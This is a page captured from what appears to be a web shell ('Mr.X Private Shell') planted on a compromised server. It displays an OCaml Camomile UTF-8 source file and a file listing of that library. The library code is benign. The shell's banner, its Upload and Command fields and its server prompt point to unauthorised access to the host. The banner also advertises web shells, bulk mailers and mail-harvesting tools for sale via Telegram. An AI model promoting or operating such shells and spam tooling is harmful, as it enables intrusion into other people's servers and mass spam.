__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

kentishfootball@216.73.216.211: ~ $
# 1 "Camomile/public/uTF8.ml"
(** UTF-8 encoded Unicode strings. The type is normal string. *)

(* Copyright (C) 2002, 2003 Yamagata Yoriyuki.  *)

(* This library is free software; you can redistribute it and/or *)
(* modify it under the terms of the GNU Lesser General Public License *)
(* as published by the Free Software Foundation; either version 2 of *)
(* the License, or (at your option) any later version. *)

(* As a special exception to the GNU Library General Public License, you *)
(* may link, statically or dynamically, a "work that uses this library" *)
(* with a publicly distributed version of this library to produce an *)
(* executable file containing portions of this library, and distribute *)
(* that executable file under terms of your choice, without any of the *)
(* additional requirements listed in clause 6 of the GNU Library General *)
(* Public License. By "a publicly distributed version of this library", *)
(* we mean either the unmodified Library as distributed by the authors, *)
(* or a modified version of this library that is distributed under the *)
(* conditions defined in clause 3 of the GNU Library General Public *)
(* License. This exception does not however invalidate any other reasons *)
(* why the executable file might be covered by the GNU Library General *)
(* Public License . *)

(* This library is distributed in the hope that it will be useful, *)
(* but WITHOUT ANY WARRANTY; without even the implied warranty of *)
(* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU *)
(* Lesser General Public License for more details. *)

(* You should have received a copy of the GNU Lesser General Public *)
(* License along with this library; if not, write to the Free Software *)
(* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 *)
(* USA *)

(* You can contact the authour by sending email to *)
(* yori@users.sourceforge.net *)

type t = string
type index = int
  
let look s i =
  let n' =
    let n = Char.code s.[i] in
    if n < 0x80 then n else
    if n <= 0xdf then
      (n - 0xc0) lsl 6 lor (0x7f land (Char.code s.[i + 1]))
    else if n <= 0xef then
      let n' = n - 0xe0 in
      let m0 = Char.code s.[i + 2] in
      let m = Char.code (String.unsafe_get s (i + 1)) in
      let n' = n' lsl 6 lor (0x7f land m) in
      n' lsl 6 lor (0x7f land m0)
    else if n <= 0xf7 then
      let n' = n - 0xf0 in
      let m0 = Char.code s.[i + 3] in
      let m = Char.code (String.unsafe_get s (i + 1)) in
      let n' = n' lsl 6 lor (0x7f land m) in
      let m = Char.code (String.unsafe_get s (i + 2)) in
      let n' = n' lsl 6 lor (0x7f land m) in
      n' lsl 6 lor (0x7f land m0)     
    else if n <= 0xfb then
      let n' = n - 0xf8 in
      let m0 = Char.code s.[i + 4] in
      let m = Char.code (String.unsafe_get s (i + 1)) in
      let n' = n' lsl 6 lor (0x7f land m) in
      let m = Char.code (String.unsafe_get s (i + 2)) in
      let n' = n' lsl 6 lor (0x7f land m) in
      let m = Char.code (String.unsafe_get s (i + 3)) in
      let n' = n' lsl 6 lor (0x7f land m) in
      n' lsl 6 lor (0x7f land m0)     
    else if n <= 0xfd then
      let n' = n - 0xfc in
      let m0 = Char.code s.[i + 5] in
      let m = Char.code (String.unsafe_get s (i + 1)) in
      let n' = n' lsl 6 lor (0x7f land m) in
      let m = Char.code (String.unsafe_get s (i + 2)) in
      let n' = n' lsl 6 lor (0x7f land m) in
      let m = Char.code (String.unsafe_get s (i + 3)) in
      let n' = n' lsl 6 lor (0x7f land m) in
      let m = Char.code (String.unsafe_get s (i + 4)) in
      let n' = n' lsl 6 lor (0x7f land m) in
      n' lsl 6 lor (0x7f land m0)
    else invalid_arg "UTF8.look"
  in
  UChar.of_int n'

let rec search_head s i =
  if i >= String.length s then i else
  let n = Char.code (String.unsafe_get s i) in
  if n < 0x80 || n >= 0xc2 then i else
  search_head s (i + 1)

let next s i = 
  let n = Char.code s.[i] in
  if n < 0x80 then i + 1 else
  if n < 0xc0 then search_head s (i + 1) else
  if n <= 0xdf then i + 2
  else if n <= 0xef then i + 3
  else if n <= 0xf7 then i + 4
  else if n <= 0xfb then i + 5
  else if n <= 0xfd then i + 6
  else invalid_arg "UTF8.next"

let rec search_head_backward s i =
  if i < 0 then -1 else
  let n = Char.code s.[i] in
  if n < 0x80 || n >= 0xc2 then i else
  search_head_backward s (i - 1)

let prev s i = search_head_backward s (i - 1)

let move s i n =
  if n >= 0 then
    let rec loop i n = if n <= 0 then i else loop (next s i) (n - 1) in
    loop i n
  else
    let rec loop i n = if n >= 0 then i else loop (prev s i) (n + 1) in
    loop i n

let rec nth_aux s i n =
  if n = 0 then i else
  nth_aux s (next s i) (n - 1)

let nth s n = nth_aux s 0 n

let first _ = 0

let last s = search_head_backward s (String.length s - 1)

let out_of_range s i = i < 0 || i >= String.length s

let compare_index _ i j = i - j

let get s n = look s (nth s n)

let add_uchar buf u =
  let masq = 0b111111 in
  let k = UChar.uint_code u in
  if k < 0 || k >= 0x4000000 then begin
    Buffer.add_char buf (Char.chr (0xfc + (k lsr 30)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor ((k lsr 24) land masq))); 
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor ((k lsr 18) land masq)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor ((k lsr 12) land masq)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor ((k lsr 6) land masq)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor (k land masq)));
  end else if k <= 0x7f then
    Buffer.add_char buf (Char.unsafe_chr k)
  else if k <= 0x7ff then begin
    Buffer.add_char buf (Char.unsafe_chr (0xc0 lor (k lsr 6)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor (k land masq)))
  end else if k <= 0xffff then begin
    Buffer.add_char buf (Char.unsafe_chr (0xe0 lor (k lsr 12)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor ((k lsr 6) land masq)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor (k land masq)));
  end else if k <= 0x1fffff then begin
    Buffer.add_char buf (Char.unsafe_chr (0xf0 + (k lsr 18)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor ((k lsr 12) land masq)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor ((k lsr 6) land masq)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor (k land masq)));
  end else begin
    Buffer.add_char buf (Char.unsafe_chr (0xf8 + (k lsr 24)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor ((k lsr 18) land masq)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor ((k lsr 12) land masq)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor ((k lsr 6) land masq)));
    Buffer.add_char buf (Char.unsafe_chr (0x80 lor (k land masq)));
  end 

let init len f =
  let buf = Buffer.create len in
  for c = 0 to len - 1 do add_uchar buf (f c) done;
  Buffer.contents buf


let rec length_aux s c i =
  if i >= String.length s then c else
  let n = Char.code (String.unsafe_get s i) in
  let k =
    if n < 0x80 then 1 else
    if n < 0xc0 then invalid_arg "UTF8.length" else
    if n < 0xe0 then 2 else
    if n < 0xf0 then 3 else
    if n < 0xf8 then 4 else
    if n < 0xfc then 5 else
    if n < 0xfe then 6 else
    invalid_arg "UTF8.length" in
  length_aux s (c + 1) (i + k)

let length s = length_aux s 0 0

let rec iter_aux proc s i =
  if i >= String.length s then () else
  let u = look s i in
  proc u;
  iter_aux proc s (next s i)

let iter proc s = iter_aux proc s 0

let compare s1 s2 = Pervasives.compare s1 s2

exception Malformed_code

let validate s =
  let rec trail c i a =
    if c = 0 then a else
    if i >= String.length s then raise Malformed_code else
    let n = Char.code (String.unsafe_get s i) in
    if n < 0x80 || n >= 0xc0 then raise Malformed_code else
    trail (c - 1) (i + 1) (a lsl 6 lor (n - 0x80)) in
  let rec main i =
    if i >= String.length s then () else
    let n = Char.code (String.unsafe_get s i) in
    if n < 0x80 then main (i + 1) else
    if n < 0xc2 then raise Malformed_code else
    if n <= 0xdf then 
      if trail 1 (i + 1) (n - 0xc0) < 0x80 then raise Malformed_code else 
      main (i + 2)
    else if n <= 0xef then 
      if trail 2 (i + 1) (n - 0xe0) < 0x800 then raise Malformed_code else 
      main (i + 3)
    else if n <= 0xf7 then 
      if trail 3 (i + 1) (n - 0xf0) < 0x10000 then raise Malformed_code else
      main (i + 4)
    else if n <= 0xfb then 
      if trail 4 (i + 1) (n - 0xf8) < 0x200000 then raise Malformed_code else
      main (i + 5)
    else if n <= 0xfd then 
      let n = trail 5 (i + 1) (n - 0xfc) in
      if n lsr 16 < 0x400 then raise Malformed_code else
      main (i + 6)
    else raise Malformed_code in
  main 0

module Buf = 
  struct
    include Buffer
    type buf = t
    let add_char = add_uchar
  end

Filemanager

Name Type Size Permission Actions
META File 185 B 0644
avlTree.cmi File 1.35 KB 0644
avlTree.cmti File 10.68 KB 0644
avlTree.cmx File 1.04 KB 0644
avlTree.ml File 4.59 KB 0644
avlTree.mli File 2.39 KB 0644
bitsvect.cmi File 985 B 0644
bitsvect.cmti File 8.17 KB 0644
bitsvect.cmx File 873 B 0644
bitsvect.ml File 3.99 KB 0644
bitsvect.mli File 2.09 KB 0644
byte_labeled_dag.cmi File 616 B 0644
byte_labeled_dag.cmti File 6.1 KB 0644
byte_labeled_dag.cmx File 677 B 0644
byte_labeled_dag.ml File 4.18 KB 0644
byte_labeled_dag.mli File 1.98 KB 0644
bytesvect.cmi File 987 B 0644
bytesvect.cmti File 8.21 KB 0644
bytesvect.cmx File 1.06 KB 0644
bytesvect.ml File 3.57 KB 0644
bytesvect.mli File 2.11 KB 0644
camomile.a File 1.47 MB 0644
camomile.cma File 1.9 MB 0644
camomile.cmxa File 22.44 KB 0644
camomile.cmxs File 1.24 MB 0644
camomile.dune File 12 B 0644
camomileDefaultConfig.cmi File 447 B 0644
camomileDefaultConfig.cmx File 335 B 0644
camomileDefaultConfig.ml File 271 B 0644
camomileLibrary.cmi File 246.42 KB 0644
camomileLibrary.cmti File 1.06 MB 0644
camomileLibrary.cmx File 35.76 KB 0644
camomileLibrary.ml File 70.63 KB 0644
camomileLibrary.mli File 171.14 KB 0644
camomileLibraryDefault.cmi File 93.54 KB 0644
camomileLibraryDefault.cmti File 203.08 KB 0644
camomileLibraryDefault.cmx File 34.33 KB 0644
camomileLibraryDefault.ml File 1.86 KB 0644
camomileLibraryDefault.mli File 2.78 KB 0644
camomileLibraryDyn.cmi File 93.53 KB 0644
camomileLibraryDyn.cmti File 204.05 KB 0644
camomileLibraryDyn.cmx File 34.67 KB 0644
camomileLibraryDyn.ml File 3.04 KB 0644
camomileLibraryDyn.mli File 3.44 KB 0644
caseMap.cmi File 1.58 KB 0644
caseMap.cmti File 10.17 KB 0644
caseMap.cmx File 990 B 0644
caseMap.ml File 9.13 KB 0644
caseMap.mli File 2.54 KB 0644
charEncoding.cmi File 10.18 KB 0644
charEncoding.cmti File 49.47 KB 0644
charEncoding.cmx File 3.7 KB 0644
charEncoding.ml File 101.14 KB 0644
charEncoding.mli File 6.29 KB 0644
charmap.cmi File 1.3 KB 0644
charmap.cmti File 9.49 KB 0644
charmap.cmx File 1.17 KB 0644
charmap.ml File 3.54 KB 0644
charmap.mli File 2.36 KB 0644
configInt.cmi File 379 B 0644
configInt.cmti File 3.43 KB 0644
configInt.cmx File 176 B 0644
configInt.ml File 395 B 0644
configInt.mli File 366 B 0644
database.cmi File 599 B 0644
database.cmti File 7.46 KB 0644
database.cmx File 500 B 0644
database.ml File 2.61 KB 0644
database.mli File 2.64 KB 0644
hangul.cmi File 634 B 0644
hangul.cmti File 5.85 KB 0644
hangul.cmx File 457 B 0644
hangul.ml File 3.42 KB 0644
hangul.mli File 1.96 KB 0644
iMap.cmi File 3.06 KB 0644
iMap.cmti File 18.84 KB 0644
iMap.cmx File 2.45 KB 0644
iMap.ml File 5.21 KB 0644
iMap.mli File 2.87 KB 0644
iSet.cmi File 3.33 KB 0644
iSet.cmti File 19.99 KB 0644
iSet.cmx File 3.42 KB 0644
iSet.ml File 9.98 KB 0644
iSet.mli File 2.92 KB 0644
installConfig.cmi File 261 B 0644
installConfig.cmx File 225 B 0644
installConfig.ml File 37 B 0644
locale.cmi File 514 B 0644
locale.cmti File 8.02 KB 0644
locale.cmx File 615 B 0644
locale.ml File 3.13 KB 0644
locale.mli File 3 KB 0644
oOChannel.cmi File 10.47 KB 0644
oOChannel.cmti File 46.42 KB 0644
oOChannel.cmx File 508 B 0644
oOChannel.ml File 4.63 KB 0644
oOChannel.mli File 4.96 KB 0644
opam File 566 B 0644
stringPrep.cmi File 1.03 KB 0644
stringPrep.cmti File 8 KB 0644
stringPrep.cmx File 1.02 KB 0644
stringPrep.ml File 7.34 KB 0644
stringPrep.mli File 2.33 KB 0644
stringPrep_data.cmi File 2.15 KB 0644
stringPrep_data.cmti File 12.45 KB 0644
stringPrep_data.cmx File 4.05 KB 0644
stringPrep_data.ml File 3.46 KB 0644
stringPrep_data.mli File 2.78 KB 0644
subText.cmi File 4.89 KB 0644
subText.cmti File 22.76 KB 0644
subText.cmx File 1.68 KB 0644
subText.ml File 4.9 KB 0644
subText.mli File 3.55 KB 0644
tbl31.cmi File 2.07 KB 0644
tbl31.cmti File 13.38 KB 0644
tbl31.cmx File 4.46 KB 0644
tbl31.ml File 14.39 KB 0644
tbl31.mli File 2.5 KB 0644
uCS4.cmi File 2.4 KB 0644
uCS4.cmti File 21.35 KB 0644
uCS4.cmx File 1.66 KB 0644
uCS4.ml File 4.42 KB 0644
uCS4.mli File 5.39 KB 0644
uChar.cmi File 985 B 0644
uChar.cmti File 11.63 KB 0644
uChar.cmx File 744 B 0644
uChar.ml File 2.64 KB 0644
uChar.mli File 3.57 KB 0644
uCharInfo.cmi File 5.14 KB 0644
uCharInfo.cmti File 31.46 KB 0644
uCharInfo.cmx File 2.54 KB 0644
uCharInfo.ml File 16.69 KB 0644
uCharInfo.mli File 8.5 KB 0644
uCharTbl.cmi File 2.22 KB 0644
uCharTbl.cmti File 15.08 KB 0644
uCharTbl.cmx File 1.92 KB 0644
uCharTbl.ml File 2.97 KB 0644
uCharTbl.mli File 3.13 KB 0644
uCol.cmi File 3.16 KB 0644
uCol.cmti File 17.04 KB 0644
uCol.cmx File 1.49 KB 0644
uCol.ml File 27.44 KB 0644
uCol.mli File 3.89 KB 0644
uLine.cmi File 7.2 KB 0644
uLine.cmti File 29.26 KB 0644
uLine.cmx File 598 B 0644
uLine.ml File 5.6 KB 0644
uLine.mli File 3.71 KB 0644
uMap.cmi File 3.43 KB 0644
uMap.cmti File 24.03 KB 0644
uMap.cmx File 2.37 KB 0644
uMap.ml File 3.13 KB 0644
uMap.mli File 4.82 KB 0644
uNF.cmi File 14.33 KB 0644
uNF.cmti File 46.54 KB 0644
uNF.cmx File 4.65 KB 0644
uNF.ml File 13.73 KB 0644
uNF.mli File 3.39 KB 0644
uPervasives.cmi File 855 B 0644
uPervasives.cmti File 7.21 KB 0644
uPervasives.cmx File 1.1 KB 0644
uPervasives.ml File 3.38 KB 0644
uPervasives.mli File 2.16 KB 0644
uRe.cmi File 7.17 KB 0644
uRe.cmti File 24.92 KB 0644
uRe.cmx File 2.09 KB 0644
uRe.ml File 13.63 KB 0644
uRe.mli File 3.59 KB 0644
uReStr.cmi File 6.99 KB 0644
uReStr.cmti File 25.58 KB 0644
uReStr.cmx File 2.79 KB 0644
uReStr.ml File 5.39 KB 0644
uReStr.mli File 4.11 KB 0644
uReStrLexer.cmi File 765 B 0644
uReStrLexer.cmx File 12.36 KB 0644
uReStrLexer.ml File 54.16 KB 0644
uReStrParser.cmi File 1.19 KB 0644
uReStrParser.cmti File 5.72 KB 0644
uReStrParser.cmx File 4.42 KB 0644
uReStrParser.ml File 30.53 KB 0644
uReStrParser.mli File 458 B 0644
uReStrParserType.cmi File 1.11 KB 0644
uReStrParserType.cmti File 5.55 KB 0644
uReStrParserType.cmx File 287 B 0644
uReStrParserType.ml File 608 B 0644
uReStrParserType.mli File 564 B 0644
uSet.cmi File 3.76 KB 0644
uSet.cmti File 24.36 KB 0644
uSet.cmx File 3.7 KB 0644
uSet.ml File 3.67 KB 0644
uSet.mli File 4.56 KB 0644
uTF16.cmi File 2.43 KB 0644
uTF16.cmti File 21.88 KB 0644
uTF16.cmx File 1.82 KB 0644
uTF16.ml File 6.02 KB 0644
uTF16.mli File 5.67 KB 0644
uTF8.cmi File 2.26 KB 0644
uTF8.cmti File 22.84 KB 0644
uTF8.cmx File 4.17 KB 0644
uTF8.ml File 8.51 KB 0644
uTF8.mli File 5.91 KB 0644
uText.cmi File 3.94 KB 0644
uText.cmti File 24.07 KB 0644
uText.cmx File 3.5 KB 0644
uText.ml File 3.05 KB 0644
uText.mli File 3.86 KB 0644
unicodeString.cmi File 2.1 KB 0644
unicodeString.cmti File 18.29 KB 0644
unicodeString.cmx File 206 B 0644
unicodeString.ml File 4.59 KB 0644
unicodeString.mli File 4.55 KB 0644
unidata.cmi File 3.68 KB 0644
unidata.cmti File 20.79 KB 0644
unidata.cmx File 1.97 KB 0644
unidata.ml File 12.91 KB 0644
unidata.mli File 5.25 KB 0644
unimap.cmi File 1.53 KB 0644
unimap.cmti File 11.13 KB 0644
unimap.cmx File 1.53 KB 0644
unimap.ml File 3.97 KB 0644
unimap.mli File 2.48 KB 0644
xArray.cmi File 2.8 KB 0644
xArray.cmti File 19.54 KB 0644
xArray.cmx File 1.64 KB 0644
xArray.ml File 4.01 KB 0644
xArray.mli File 4.2 KB 0644
xString.cmi File 3.42 KB 0644
xString.cmti File 20.36 KB 0644
xString.cmx File 2.34 KB 0644
xString.ml File 4.04 KB 0644
xString.mli File 3.38 KB 0644
Filemanager